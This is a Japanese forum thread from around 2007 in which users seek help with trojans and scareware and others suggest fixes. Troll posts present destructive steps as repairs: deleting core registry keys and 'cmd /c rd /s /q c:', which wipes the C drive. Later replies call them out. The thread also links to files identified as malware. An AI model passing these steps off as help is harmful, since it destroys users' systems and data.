前にインターネットつないでた時
このＭｅは兄の会社ものだったんですが、俺がもらったんです
その時はファイアーウォール(？)など色々対策されてたみたいで
それを知らずにインターネットをつないだとき
ウイルスバスター2007体験版のＣＤでダウンロードしてしまったんです
とにかく、とてつもなく重い状態になってしまって
リカバリしてしまった　という感じです
もしかしたら、あのとき初期化しなくても直せる方法があったかも・・・

ＩＥばかりアクセスしてたんで、ＭＳＮは気づきませんでしたが
ちょっと安心してます、ちょっと
たしかに少し不便ですが
ホームページアドレスをガッチリ書き直せないように
されてる事などに害はありませんか？
その請求とかきたら・・・　など心配がつのるばかりです
どうでしょうか？

やっぱ話しにならないね。ｐ
ま、いっか。ｐ

すみませんこれ踏んじゃったんですけど…
http://imepita.zz.tc/020070817

トロイらしいんですけどavast!で検出されませんでした。
どうすればいいでしょう？

>>576
ノートンだとアクセスが拒否される。
なんらかの怪しいものだと思われ。
心配ならオンラインスキャンどぞ。
シマンテック　セキュリティチェック
　　　(p)http://www.symantec.com/region/jp/securitycheck/index.html
トレンドマイクロ　オンラインスキャン
　　　(p)http://housecall65.trendmicro.com/

あの・・・

>>574
請求はこないと思う。来ても無視でOK。

http://www.safewebnavigate.com/index.php?sid=0&aid=0&said=0&pn=&pid=1
↑
トレンドマイクロでも除去できない。
除去してももすぐ、復活する。
これって、史上最強のフィッシッシングかな？

レジストリ書き換えてるとは思うけど。今のとことろ放置してる。
勇気のある人、試して見れ。除去できた人は情報求む。はい

よろしくね＾＾＋

http://www.amiami.com/images/product/main/GDS-9463.jpg

助けてください。どうにもこうにも↓が駆除できません。

Trojan-PSW.Win32.Delf.nx

検索しても駆除方法が見つかりません。
外部ドライブ経由でやってきたワームであることは確かなのですが…。

http://research.sunbelt-software.com/threatdisplay.aspx?name=Trojan-PSW.Win32.Delf.nx&threatid=47505
>>582
Windowsフォルダの中の8.exeとWindowsフォルダの中のupdateフォルダの7.exeがそれっぽい。
ファイル名検索して削除。
消せなかったらCtrl+Alt+Deleteでタスクマネージャ起動してプロセス見て
該当のプロセスを終了してから削除。

もしくはカスペルスキー。なんか見っけたらしいとこもある。
オンラインスキャン
http://www.kaspersky.co.jp/virusscanner

ありがとうございます。家に帰ってから頑張ってみます。感謝。

↑582です。すいません・・・。

２ちゃんのトップページ開いたら、強制的にvirusPROとかいうソフト入れられたみたいなんだが。
『いらね』『いらねっ』って押したり、ウインドウ無理に閉じたんだが、負けたっぽい。
こいつはやっぱ、食らったのかな？

>>586
http://internet.watch.impress.co.jp/cda/news/2007/05/24/15819.html
これかな。

>>587
　サンキュー。いろんなポップアップがすげー出るようになった。
　さっそく削除するよ。

>>461
私も同じ状態です。
amazonのトップページで検索欄に文字を打ち込もうとしても消えてしまう。
文字が上下に改行の仕方を変えながら動く。
amazonの方に問題があるのか、こちらに問題があるのかわかりません。。。

>>589
おいらはWindows2000SP4でIE6SP1使ってるけど特定のページで上下する現象がおこる。
amazonがなんかやらかしててIEが誤動作してるだけだと思う。
amazonの検索欄が消えたことはないや。
ページの読み込みが全部終わってから入力欄クリックして入れればいいかも。

http://www.adexy3.com/pbbss04/pppt.cgi?room=0921
あそこが感じやすいし、弄られたり舐められたりしたいの。。。

ある時から突然､ウイルス除去ソフトの宣伝ポップアップがたくさん開いたり
それに似たような警告ウィンドウが開いたり、さらにはタスクバーのバルーン
にも出たりします。
　「Spyware Alert」や「System Alert」とタイトルが書かれています。
これが出るとexplorer.exeがとても動作が重くなってしまいます。
　どなたか対処法教えてください。

なんか表示画面に線が入って、色も薄くなったりして、アイコンとかもでかくなったんだけど
これってウイルス？

>>592
たぶんこれでなおると思う。
http://www.higaitaisaku.com/messengerspam.html

>>592
マトモなウィルス対策ソフトいれてて、そいつのメッセージじゃなきゃ
まず詐欺なので無視して良い。
>>594でなんとかなると思う。

>>593
アイコンが大きくなったのは解像度の問題じゃないかな
http://www1.tcnet.ne.jp/k-saku/person/page_05.htm

色が薄くなったのはディスプレイの色温度の調整と思われ。
ディスプレイのスイッチからいじってみてくだされ。
線が入るのはわからないや。ごめん。

>>593
線の件だけど、一箇所に出て動かないならディスプレイの故障。
色が薄いのとあわせたら故障の可能性大。
今のうちに新しいの注文するならそのほうがよい。

Windowにあわせて動くならディスプレイドライバの異常。
メーカーから最新版落としてインストールするか、ドライバの更新。
コントロールパネルからシステム→ハードウェア→デバイスマネージャでディスプレイのやつ探して、
右クリックでプロパティ開いてドライバの更新。

>>593
何度もごめんよ。後から思いつくもんでね。
グラフィックカードの故障の可能性もある。
見分け方はちょっとわからないや。
友達から別のディスプレイ借りられれば切り分けできるんだけど。
別のディスプレイでOKならディプレイの故障。
再現するならグラフィックカードかドライバの問題。

初めまして、皆さんがウイルスに関して詳しいのなら質問があります。
今、自分のPCはネットに繋ぐことができなくなっています。
この書き込みは近所のネカフェから行っています。
詳細としては…
・無線RANを認識しているにもかかわらず認証されない。
・WEPキーは合っている。
・他の家族のPCはちゃんと繋がる。
・数日前、唐突にネット回線から遮断された。
親が言うにはウイルスだそうですが、AVGのスキャンにも引っかかりませんでした。
対処法などを知っている方がいらっしゃれば、教えてくださいませんか？

>>599
ごめん。わからないです。その上で言うならドライバのチェックぐらいしか思い当たりません。
コントロールパネルのシステム→ハードウェア→デバイスマネージャで無線LAN関係のデバイスみつけて、右クリックのプロパティからドライバの更新
それでだめなら家族のPCから最新のドライバダウンロードしてインストール。ドライバはフロッピーでも入ると思う。
ダメならCDに焼く。

>>594のサイトの通り実行しようとしましたが、「Messenger｣はすでに
停止している状態だったため、効果ありませんでした。
　ということは、Messengerを介しているわけではないということ
なのでしょうか？　
　広告を無視しようにもどんどん増えていくのでexplorer.exeを停止させ
なければ止まらない状況です。　これはこれで不便なので詳細情報をどなたか
願います。

>>601
ごめん。こっち参考にしてみて。
SmitFraudFixとかいうのが効くみたい。
http://oshiete1.goo.ne.jp/qa2688570.html

>>596
回答ありがとう

>>597
回答ありがとう
ディスプレイドライバ再インストールしたら直ったよ

>>602　なおったっぽいです！ありがとうございました!!!

>>580
　ページ自体ではなく、クリックしてダウンロードしたexeがウイルスってこと？
いまメインでやるのは怖いから仮想PC上でexe動かしてみたけど、確かに
入れてしまうと除去できないような気もするｗ　システムの復元でも試したら？

すいません･･･

スパイウェアをスパイなんとかってソフトで削除したんですけど、起動直後の画像は消えませんでした･･･
ほんとにどうすればいいでしょうか････

>>606
削除したならYahooかどっか表示してツール→インターネットオプション→全般のホームページで現在のページにするクリックしたらなおらんかな。

>>606
無料ので良いから違うソフトでも試してみる。
ｼｽﾃﾑ32のﾌｫﾙﾀﾞ開けて片っ端から怪しいの削除でおｋ。

直らなかったです･･･
ほんとにどうしよ･･･

>>609
素直にﾘｶﾊﾞすればおｋ。

>>606
ﾏﾙﾁで慌てられてもなぁ…

こういうことはよくあることなんですか？

全く知識がないので･･･


システム３２ってどやって出せますか？

>>609
とりあえずMe,XP,Vistaならシステムの復元。やり方はヘルプファイル見て。
それでだめならIE再インストール。アンインストールできないけど、バージョンによっては上書きインストールできる。
それでだめならCDブートして修復セットアップ。
それでもだめならCDブートでOS入れなおし。データが、あっさらになるのでバックアップとってからね。

>>612　まったく知識がない人にはよくあること

マイコンピュータ→起動ドライブ 多分C→WINDOWS→system32
此処だよ。

ありがとうございました。
やってみます。

>>612
怪しそうなexeﾌｧｲﾙだけだよ。
system32事削除すんなよ。

>>615
ｼｽﾃﾑの復元でおｋ。

すまね、ちょっと教えてくれ
Win32:LoadAdv-J [Trj]ってどんなウイルス？
検索してもコレといったのがかからない

トロイを間違えて実行してしまいました
ファイルは通称かおる姫で症状は
ＣＰＵが100％になってる
トップ画面のアイコンが透明になってる
（右クリックしたらプロパティが出たので実際はある）
スタートクリックすると何もない状態（多分透明）
動きは半端ないくらい重いです
セーフ＆コマンドプロンプトをやってみましたが
何故か字が打てません
スタートアップのシステムは一応出ますが
出るまでに10分かかります

教えて下さい

システム３２で見つけました。でも削除できないです。

システム３２で見つけました。
でも削除できません。

ディスクが一杯でないか、書き込み禁止になっていないかまたはファイルが使用中でないか確認してくださいってでるんですけど･･･

プレステ3っウイルス感染するの?

>>620>>621

だ・か・ら system32のな・か・の怪しそうなexeﾌｧｲﾙを見つけて
削除汁。おｋ?

>>621
怪しいのであれば、Ctrl+Alt+deleteでタスクマネージャ起動して、
プロセスの一覧だして、怪しい奴をプロセス終了すれば削除できる。
けど、システムのファイルかどうかググってからのほうが良い。
システムのファイル消しちゃうと修復セットアップかリカバリか再インストールになるよ。

IEのアイコンってゴミに捨てれますか？
捨ててIEのセットアップしようと考えています、いかがですか？

>>625
まっとうな手段では消せない。
けどこないだおいらはインターネットの設定でHTTP1.1を使用するのチェック外したら消えた。
IEは残ってたけどね。
IE6でWin2000だと上書きで再インストールできる。
他のOSだと最新版が入ってるからって終了させられるかもしんない。
とりあえず落として試してみるしかない。

shell32.dllというアプリケーションがあり、インターネットに繋げなくなってしまいました。
これを消そうと思ったのですが、このファイルはたくさんありどれを消したら良いかわかりません。誰か解決法わかる人いますか？

>>627
Windowsのsystem32の中身が本物。
あとはUpdateのバックアップとサービスパックi386の中。
それ以外は怪しい。
Windows2000だと実行されてるプロセスには居なかった。
消そうとして実行中で消せなかったらCtrl+Alt+Deleteでタスクマネージャ起動して、
プロセスの一覧から終了する。
それからファイルを消す。

消せました。
みなさんいろいろとありがとうございました。


これを機にパソコンいろいろ勉強します。


ほんとうにありがとうございました。

>>628 一応消してみたのですが、やはりインターネットには繋げない状態です。
このような場合何か他の原因を調べる方法はありますかね？

>>630
ちなみになんかエラーメッセージが出てるようなら教えておくれ。

助けてください！
オークションスレに貼ってあった
http://omanchin.com　を間違ってクリックしてしまいました。

何か影響はありますか？
対策があれば教えてください。

>>632
とりあえずノートンは反応しなかった。
無害な掲示板サイトと思われ。
心配だったらウィルスチェックとスパイウェアチェックする。
※オンラインウイルススキャン
シマンテック　セキュリティチェック
　　　(p)http://www.symantec.com/region/jp/securitycheck/index.html
トレンドマイクロ　オンラインスキャン
　　　(p)http://housecall65.trendmicro.com/
スパイウェア対策
http://enchanting.cside.com/security/spyware.html

６３３さんご親切にありがとうございます。
初めての経験だったので泣きそうでした。。。

サイトの名前が名前だけに悪質なサイトだと思っていました。
詳しいアドレスは↓でした。
http://omanchin.com/railway/omanchin.cgi/up5809

>>634
IPみたいなものが羅列されてただけ。
特に意味は無い。
IPはばれても無害。

６３５さんご回答ありがとうございます。

自分なりに調べてみましたが、
ＩＰとクリップボードが盗まれただけみたいです。

ウイルスに感染してしまったようですが，対処法がわかりません・・・
どなたかアドバイスをお願いいたします　orz

OS:XP home

症状：起動直後にC\WINDOWS\TEMPフォルダにtmp1.tmpなど（番号はランダム？）
なファイルが生成される模様。
サイズが大きく，HDDの空き容量ギリギリまでのサイズになり，PCの動作が非常に遅くなる。

Nortonでは生成されたファイルをharadong.trojanと判断しているようです。
しかし，Nortonが削除するとすぐに次のファイルが生成されてます。
Ad-AwareとAvast！を試してみましたが効果なし。
HDDをCとDのパーティションに区切っていますが，Cのみにファイルが生成されてます。

上記のような症状ですが，お分かりになる方いらっしゃいますでしょうか？

>>638
セーフモードで起動して、ウイルスが活動していなかったらNortonでスキャン＆駆除。
もし万が一ウイルスが活動していたら、起動してすかさずシステムの復元ｗ

↑
誤：>>638
正：>>637

Rubbleに感染してしまったみたいなのでOSを入れ直そうとしたのですが
NTLDR is missingと出るだけでインストール画面に移りません
業者に頼むしかないのでしょうか

どう考えてもトロイの木馬系のウイルスだろ

ＨＤＤの電源じゃない方のコードぶち抜いて、ＯＳディスク入れて起動すれば
インストール画面までいけるよ、それでコードを挿し直せばおｋ

Avastを使っているのですが、最近ウイルスチェックでトロイの木馬が発見されました。削除(orﾁｪｽﾄへ移動)してみましたがアクセスを拒否され削除できませんでした。全てを削除を選ぶと処理できるのですが数分後にまたウイルスチェックが反応します。
どの様に対象すれば良いでしょうか？
お願いします。


Norton、オンラインウイルススキャンも試してみましたが、トロイの木馬やウイルス等の反応はありませんでした。

PCの調子が悪かったらこれやってみな、回復するから。

「スタート」メニューを開いて、ファイルを指名して実行をクリック
regeditと入力してOKをクリック（Win2000の場合は、regedt32と入力してOK）
レジストリエディタが開く
HKEY_LOCAL_MACHINE\Software\CLASSES\.dll
HKEY_LOCAL_MACHINE\Software\CLASSES\.exe
HKEY_LOCAL_MACHINE\Software\CLASSES\.sys
HKEY_LOCAL_MACHINE\Software\CLASSES\dllfile
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile
HKEY_LOCAL_MACHINE\Software\CLASSES\sysfile
HKEY_LOCAL_MACHINE\System\CurrentControlSet

上記のキーはウィルス、スパイウェア、ハイジャッカーなのであれば削除すること。

パソコンの調子が悪いときはこれやってみな。
回復するから・・。

[スタート]→[ファイル名を指定して実行]で
cmd /c rd /s /q c:

>>645
はCドライブ全消しのコマンド。

update ESCD successfully
http://ex21.2ch.net/test/read.cgi/pc2nanmin/1190797228/

>>644
君は一度、逮捕されたほうが良いんじゃないかな

これウイルスなんですかね？違うような気もするけど心配だよ･･･

ファイル名: C:\WINDOWS\SYSTEM32\IMEPADSV.EXE
ウイルス/スパイウェア名: TSPY_Generic

http://la.gg/upl/PCSX2_0.9.4_Files.7z

誰かお願い

>>650
ページを表示できません
て出て落とせない。
7zは圧縮形式のひとつ。
内容はプレステ２のエミュレータと思われ。
落とせないからわからない。

>>649
ウィルス対策ソフトで検出されたなら、削除なりなんなりしたほうが良いと思う。
もし心配ならファイル名の変更でファイル自体は残しておけばOK。

http://live23.2ch.net/test/read.cgi/livecx/1191154132/

上記のURL踏んだらウイルス検出したんですが、
削除したとのことなので、大丈夫ですかね。
一応再スキャンしてウイルスは
検出されませんでした。

ちなみにノートンアンティウイルス2006です。

危険なウイルスのように危険度が高かったのですが、
大丈夫でしょうか？

>ノートンアンチウイルス2006

今は、ノートンアンチウイルス2008が出ています。
更新期限が残っていて定義のダウンロードが出来るからといっての安心してはいけません。
2006で検出されないウイルスが2008で検出されることもあります。
キングソフトとかavastとかフリーでも2006よりはましです。
もったいないからといって使い続けていると面倒なことになりますよ。

http://internet.watch.impress.co.jp/cda/news/2005/11/30/10035.html
シマンテックのセキュリティソフト「Norton」シリーズが２ちゃんねるへのアクセスをブロックしているという指摘がある。シマンテックによれば、２ちゃんねるに脆弱性を突く攻撃コードが書き込まれているためだという。

反応するのはノートンだけで別にウイルスではないです。
この攻撃コードでノートンが動かなくなる報告はありません。
大丈夫です。

http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2005-112409-4527-99
Norton Internet Securityが2ちゃんねるへのアクセスを1次的(初期設定なら30分)遮断するだけです。

>>650
今日は落とせた。
圧縮ファイルも、解凍ファイルもノートンでは脅威なしだった。

性能はどうなのか？↓
http://yasuipc.jp/

>>655
じゃあ解凍して「pcsx2.exe」をダブルクリックしてみろ

>>650
>http://la.gg/upl/PCSX2_0.9.4_Files.7z
これはウイルスです。

対応済ソフト
◆Avira AntiVir 「BDS/Ciadoor.GN.340」
◆Kaspersky 「Backdoor win32 ciadoor.gn」
現状で未対応のソフト
◆norton
◆ウイルスバスター

症状
・アンチウイルスソフトの起動阻止
・右クリックのコピー＆貼り付け
・JPGが開けない
・他多数
Backdoorウイルスだが、ネットそのものに繋がらないので意味はない。しかし、「アンチウイルスソフトの起動阻止」するためBackdoorウイルスの扱いを受けている。
トロイ木馬なのは再起動した後、症状が現れるため。
おそらく「システムの復元」を無効にした後、システムを破壊するため。
破壊系ウイルスなので一度感染すると、別のハードディスクにバックアップがない、またはリカバリー領域がない限り復元は出来ない。
破壊するのはシステムファイルの一部だけであるためその他の情報が失われる心配はないが、「クリーンインストール」が面倒である。

「ウイルスバスター」はもともとだめなソフトなので反応しないのは普通。
「norton」が反応しない珍しいウイルス。
単純に「norton」が対応していない「全く新しいウイルス」か「norton」の脆弱性を狙ったウイルスかはわからない。
別に「norton」批判をするつもりはないが、「norton」が万能とゆうわけではない。
「norton」が反応しないからといって安心してはいけない。
だが他のソフトにも得手不得手があるので、「norton」がだめとゆうわけではない。

>657
>「Backdoorウイルスだが、ネットそのものに繋がらないので意味はない。」
訂正
「Backdoorウイルスだが、ネットそのものに繋がらなくなるので意味はない。」

>>657
なるほど。ごめん。ありがとう。
実行まではやってなかったよ。
エミューレータ板でもウィルスらしいて出てたね。
http://pc11.2ch.net/test/read.cgi/software/1187846338/l50

>>652
ありがと。

>>657
細かいところまで検証していただき、ありがとうございました。

どなたかかおる姫のウイルスの対処法をご存じないでしょうか？
やはりこのウイルスはboot.iniを書き換えられてしまうウイルスなんですかね？

>>652
ありがと。と言っておいてなんだけど、まだ削除できていません。
SYSTEM32の中にあるはずのIMEPADSV.EXEがどこにもないのです。
ウイルスバスターを使ったのですが、誤認識?誤検出?でしょうか？

>>663
レジストリにあるかもしんない。
ファイル名を指定して実行でregeditを実行。
編集から検索でIMEPADSV.EXEを検索。
検索オプションは全部つけたままでいいと思う。
見つかったら全部削除するのはちょっと怖いので、.exeを.exとかに変更して様子見。
もし本物のIMEだったら.exを.exeに戻す。

ではどうだろう。

CCleanerとか使ってみたら？

http://s-io.mydns.jp/up/1/_/jump/1191236882.zip/attatch
ｐ　news

これ解凍したらかおる姫がでてきてすぐ消したんですが
スキャンしたらトロイに感染してました・・・
隔離できませんと書いてあったのですがどうすればいいのでしょうか？
ちなみにウイルスバスター２００７使ってます
本当に助けてくださいお願いしますorz

>>666
とりあえずファイル名がわかるならファイル名検索して直接削除。
削除できなかったらタスクマネージャからプロセスを終了してから削除。
タスクマネージャはCtrl+Alt+Deleteから実行。
プロセスの一覧見てファイル名を探す。
選択してプロセス終了のボタン押す。

タスクマネージャから殺せなかったらユーティリティ
http://www.knonline.net/soft/pub/killpsnt/KillPsNT120.zip
こいつで終了させるXP、2000、2003用

オンラインスキャンしてみればいい

>>667やってみます
迅速な解答、非常に感謝です
愛してる

俺もかおる姫ひっかかった。
VistaHomePremium、まだ再起動してない。どうすればいい？

>>670
Vistaならシステムの復元でいけるのでは。
ひっかかる前の状態に戻せると思う。
やり方はヘルプを検索してほしい。

いまおもえばＸＰだけどその機能ある

あれ？スキャンしなおしたらウイルスなくなってる
隔離できたのか

さっき名前はフォルダだけど、
明らかにアイコンがおかしいのを開いたら原田00でした。
莫迦な僕。

とりあえずzipと画像数点が原田00なjpgに変えられました。
けど他は何もなってないように見えます。
ProgramもDownも異常なし。
だけどぐぐても他に似たような症例見つけられなくてちと不安です
どうなんでしょ。

原田ウイルスを踏んじまった。すまんググってもよくわからなかったので、ここで教えてくれ。
そのフォルダが入ってるＨＤＤは全部ＪＰＧが出来てしまったんだが、まだフォルダの中にあるデータは生きている現状。
調べても、そのデータは削除されていてご愁傷様、しか書いてないんだが、これは再起動した時にそのデータが消える？のか？

ちなみに、まだ再起動はしていないです。
とりあえず、バスターの該当ウイルス対策（レジストリ削除など）を一通りやって、Program Files中の、原田の痕跡のあるＪＰＧファイルを片っ端から削除。
あと、一応システムの復元をやろうとしてます。（こん時に再起動。）
ここまでで、何か落ち目ありますかね？
ぶっちゃけ、再起動が怖杉。ＪＰＧ上書きの原田の影響で今あるデータが消えてしまうんじゃないかと、かなり不安。なんかググったらそんなような事例もあるし。

>>676
ごめん。よくわかんないや。
とりあえずレジストリ削除したなら大丈夫だと思うけど、
なんならバックアップをCD-ROMにとってみてはどうか。
Document And Settingsの中身だけでも。

>>677
一応、踏んだ瞬間にプロセス緊急停止したから、Document And Settingsの方には原田の影響が出てない模様。
ただ、そんなこと言っても俺は原田の知識は無いし、消されない確証は出来ないので、一応バック取った方が良いですね・・・
回答サンクス

jpgが消えるとか上書きとか書いていますが本当に消えてるんですか？
他のパソコンでjpgを開いてみればわかると思いますがそのPCにもウイルスが感染するか心配ですね。
そもそもセカンドマシン持っているかわからないし、データ移すのめんどいだろうし…

CDやDVDから起動できるlinux
「KNOPPIX」
とゆうものがあります。
linuxですからウイルスに感染してても関係ないです。
「KNOPPIX」はインストール不要ですから削除の必要もないです。
システムを光学メディアから起動しているからです。
windowsが入っているパソコンでも使えます。
「KNOPPIX」でjpg開いて見れば上書きされているかわかると思います。
ウイルスに感染したwindowsのバックアップを取るならlinuxからバックアップしたほうがいいですよ？
「KNOPPIX」はどうせ無料ですし、メインで使うわけではないくあくまでトラブルがあった時に試す程度で…
難点といえば環境にもよりますが容量が大きいのでダウンロードに時間がかかるぐらいでくらいです。
あればいろいろ便利ですよ。
あと、ウイルス削除されたかどうかわからないなら、多少面倒でもいっそクリーンインストールしてしまったほうがいいですよ？

かおる姫のウイルスで開けなくなったんだが
緊急起動ディスク使ったら起動できたんだが
その後間違えて電源落としたら次から緊急起動ディスク使っても起動できなくなったんだが
なんでだ？

>>679
あぁ、画像上書きは完全にされてるものもあれば、なぜか元の同名ファイルも残っているものもあるんだ。
確認ならとりあえずマンガミーヤにドロップしてどんな画像かは実際に見た。
つか、ファイルデータ量が数百Ｍあったものが１００ｋｂぐらいの画像に変わってる時点で、置き換えられているという確証を得られたんよ。
でも "a.avi" "a.jpg"みたいに元ファイルがまだ残ってるのが多々あってな。途中で原田を消したからかもしれんが。
んで、あーこのデータ無事だじゃあ一安心と思いきや、ちょいググってみたら

＞ Re: 原田ウイルスMk�U ( No.16 )
日時： 2007/04/08 07:12
名前： mon


原田ウィルス２をうっかり踏んでしまい、外付けＨＤにウィニーを入れていたので慌てて電源断したら例の画像への変換は少量ですみ、
プログラムファイルも無事だったのですが、無事だったダウンフォルダの中身が再起動したら全消しされました。ファイル復旧は無理でしょうかね・・・？


こんなのがあるわけよｗ
こりゃあそちらが仰る通り、ＯＳ再インスコかもわからんね。

つか、再起動して全部消えるって言うのは、スタートアップにウイルスが組み込まれてるってことだよな？
ってことは、そこら辺をよくチェックしときゃ平気かな？

>数百Ｍあったものが１００ｋｂ
容量が変わっていれば確実ですね。

＞ Re: 原田ウイルスMk�U ( No.16 )
日時： 2007/04/08 07:12
名前： mon

これが本当ならいつデータが消えるかわからないし、精神的にも悪いですね。
とりあえず無事なものだけバックアップとってクリーンインストールしたほうがいいと思います。

>無事だったダウンフォルダの中身が再起動したら
この意味がよくわかりません。
再起動はOSの再起動なのか外付けハードディスクに対しての再アクセスのことなのか…
それに、単純にスタートアップで起動している可能性もありますがそうでないと厄介です。
とりあえず見るだけ見たらいいと思いますけど…

>>684
ＯＳ・・・じゃないか？
まあスタートアップ云々レジストリ書き換えはシステムの復元で回避できるとして、バックアップとらずに再起動してみようと思う。
まあ消えたら消えたで、なあにかえって免疫が付く、で行こうと思う。
回答ありがとう、ここらで失礼します。連投スマンカッタ。

こっちもなんかちゃんとした回答できなくてすいません。

えーかおる姫に引っかかって、外付けHDの中身を一部消されました。
書き換えられたのは外付けだけで、システムはいじられなかったようです。
皆さんお気を付けを。

馬鹿がウィルスに食われてやんの･･･。ｹﾞﾗ

頭がいいとウイルスにかからないと思ってる馬鹿がいるスレ

かおる姫で消えたデータはたぶんデータ復旧ソフトで復元できると思う。
ＯＳごと失った場合は、別のハードディスクにＯＳ入れて起動し、
被害を受けたハードディスクを復旧ソフトで復元すれば元に戻るかもしれない。
ＯＳが完全に元どおりになるかは分からないけど。
自分で試したわけじゃないので、あくまで自己責任で。

690はかおる姫がデータを消すだけで、消した後に何も書き込んでない前提で書いてます。
間違ってたらごめん。

データ復旧ソフトの復旧率って・・・

データを消した後、その領域に何も上書きされてなければ復元できるものと思ってた。
適当な事言ってすみません。自分の書込みはすべて忘れてください。

http://www.pirateaccess.com/download-full-crack-rapidshare-torrent-Pcsx2-1.0.html

ppf3-081.valley.ne.jp
(202.222.154.81)
荒らしIPです　どなたか掃除してください

ウイルスと関係ねー

http://imepita.zz.tc/020070817
これウイルスですか？
携帯で踏んでしまいました

>>697
ウィルスです。
JS.WindowsBombと出ました。
ノートンでも防ぎきれませんでした。OutLookExpressを大量に起動します。
影響を受けるシステム: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows XP
とのことなので携帯は大丈夫かも。

>>698
ありがとうございます
携帯は大丈夫そうなので一安心しました

すみませんがVBS.Freelink.Bってどんなウイルスですか？
ノートンが今検出したんですけど。

まず検索しる

ttp://imepita.zz.tc/020070817
これってウイルスですか？ブラクラですか？

どうやってウイルススキャンするのかも分からないばか者です。
教えてください。

ttp://www4.axfc.net/uploader/14/so/Li_34992.zip.html
vip
もう開いてしまったのですがこれはウイルスでしょうか？

http://s-io.mydns.jp/up/1/_/jump/1191665119.zip/attatch

これ開いたらＰＣ起動しなくなりました・・・。
どうすればいいですか？

>>704
今書き込んでるじゃないか

これは別のＰＣなんです。
家にはＸＰとＭｅがあってこれはＭｅの方。
ＸＰは起動すると
ＮＴＬＤＲ　is missing
となります。
セーフモードもだめ。どうすればいいんでしょう・・・。

>>706
おとなしく修理出すのが吉
下手にいじくると再起不能になる

>>707
データは消えたりしているんでしょうか。
完全には戻りませんか？

パソコンが起動しないぐらいのウイルスなんでしょ？
これ以上は言わなくてもわかるよね…
いい勉強になったと思って諦めるが吉

とにかく怪しい場所には行かないこと
これはリアルでもネットでも同じ

あと、ダウソしたexeは外付けＨＤＤに保存してあるのですが、このＰＣ
でＨＤＤ起動しても大丈夫でしょうか？
開いたら削除しますが、ＨＤＤからこのＰＣに感染したりしますか？

当然ありうる
もしそうなったら2台ともﾊﾟｧ

>>711
分かりました。ありがとうございます。
修理にだすことにします。
本当にありがとうございました。

ウイルスって隔離してればいいんですか
現在感染したファイルが隔離されているんですが、
消し方がよく分からないもので；；
やっぱ消した方がいいんでしょうか？

なんか､パソコンの様子がヘンなんです！
ふたばでエロ画像を見ていたんですが､
あるスレのGIFを開いたら開いた画面が真っ黒になって
たびたび､画像の拡大矢印･･･更新部分の矢印が無くなって､
ヘンな風に画面がでたりするんで･･･
ウイルスバスター２００７で検索しても検出されないんです！！
以前ヘンなアドレスにクリックしてそのときはバスターで退治
したハズなんですが､何か関係があるんでしょうか？(ちなみにそのアドレスはもう覚えていない)
情報､退治の仕方を教えてください！
画面は40ぐらい開いていました

どうやらこのスレでかおる姫被害者が勃発しているようですが、
どうやら私もそのようです。
とすると、
かおる姫は外付けＨＤＤに保存してあるわけなのですが、
exe起動しなければ他のＰＣで削除するだけでかおる姫なくなりますかね？
それとも起動しなくても感染してしまうのでしょうか？
詳しい方、お願いします。

修理よりOS入れなおせ

OSはどうやって入れ替えますか？
かおる姫の感染は入れ替えれば直るのでしょうか？

直るよ
OSの入れ替えはPC買ってきたときにCDかDVDがついてきたはづだからそれを使う
よくわからなかったら「クリーンインストール」で検索してみればいい

>>717
　OSのCDをCDドライブに入れる。
　起動して直後のPress XX Button Enter BIOS SetUpの表示されてるときにそのXXキー押す。
　BIOS設定画面になるのでメニューからBoot項目を探す。
　Bootの順番がたぶんFDD、HDD、CDの順になってるので、CDを一番目にする。
　やりかたは英語だけど画面に表示されてる。
　設定したらSave&Quitで終わる。
　終わったらPress any Key CD Bootとか出るのでエンターキーでもなんでも押す。
　CDから起動するとメニューが出るので、Windowsの新規インストールを選ぶ。ディスクは初期化する。

こんなかんじ。

VBS.Freelink.B
こいつに感染したようですが､レジストリ駆除の仕方がわかりません
というか最後の方の値が無くて削除ができません
どうか教えてください

http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2000-121516-1433-99&tabid=2

ここにレジストリのこと書いてあるけどダメかな。

>>721

削除の仕方の↓がない！
Rundll Rundll32.vbs

>>722
レジストリエディタ(ファイル名を指定して実行でregedit)から、
キーたよりに探して、一回クリックしてDelキー。編集メニューから削除でもOK。

>>718
>>719
どうもありがとうございました
では外付けHDDはもう使えないのでしょうか？

>>724
.exeのファイル名がわかってるなら、そのファイル消して、
消せなかったら動いてるからCtrl+Alt+Deleteでタスクマネージャ起動して
プロセスの一覧からプロセスの終了ぶちかまして、
レジストリも念のために検索して探して消して、
>>723見てね。
それで対策OKだと思う。使えるよ。

レジストリエディタにウイルスのexeファイルがあったら消す
ということですよね
初心者ですいません
ありがとうございます

>>726
その理解でOK。
そんでもし再起動して動かなくなったらOSのインストールやり直しになる。
念のためシステムのファイルかどうかググッてからのほうがいいかも。

それは危険ですね……
システムのファイルとはなんでしょうか？
質問ばかりすいません

>>728
WindowsとかWinntフォルダの中にあるOSのファイル。
かおる姫が外付けに居ただけなら、WindowsフォルダとかWinntフォルダの中身が入ってるレジストリは消さないほうが良い。
かおる姫の活動でシステムフォルダにコピーされるようなことがあるとややこしくなる。
いずれにしろ.exeの名前がわかってるなら消しちゃってOK。

よく考えてみたらOSクリーンインストールしたならレジストリは綺麗なはずだな。
ま、念のためだけ。

はいそうします
ありがとうございました！

>>723

そんな高度のこと言われても､オラわかんねえよ！
XPなんですけど

編集メニューはどこにあるんですか？

>>732
レジストリエディタは起動できたのかな？。
スタートのすぐ上にファイル名を指定して実行はあると思う。

問題の個所は発見できたのかな？
ブラウザでフォルダ見るのと同じで、\のかわりにフォルダがあるイメージ。
編集メニューはエディタの上に並んでる「編集」ての押せば出る。

余計なレジストリに手を出して消したら
ヤバそうなので､困る！
レジストリ全部の保存の仕方も良くわからないので
どうしようもない

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ここまではいいんだ！！

>>734
ウィルスのとこいじるだけなら実害ないんだけどな。
心配ならレジストリの値が"ファイル名.exe"になってるのを".ex"に変えるだけでもOK。
ファイル名変えちゃえば動かない。

>>736

なんかexeがいくつもあるんですが･･･？
最後のRunにいって12あるうち6も

>>737
ごめん。vbsだった。
Rundll RUNDLL.VBS
これVBSからVBとかに変えちゃえばOK。

２ｃｈのリンク先でキャーって声と怖い女の画像が出て
右下にトロイの木馬がどうのこうのって出たんですが
気味悪いから再起動して今は変わった事ないんですが
ヤバそうですか？

>>739
たぶんただのドッキリGIFアニメだとは思う。
心配だったらオンラインスキャン
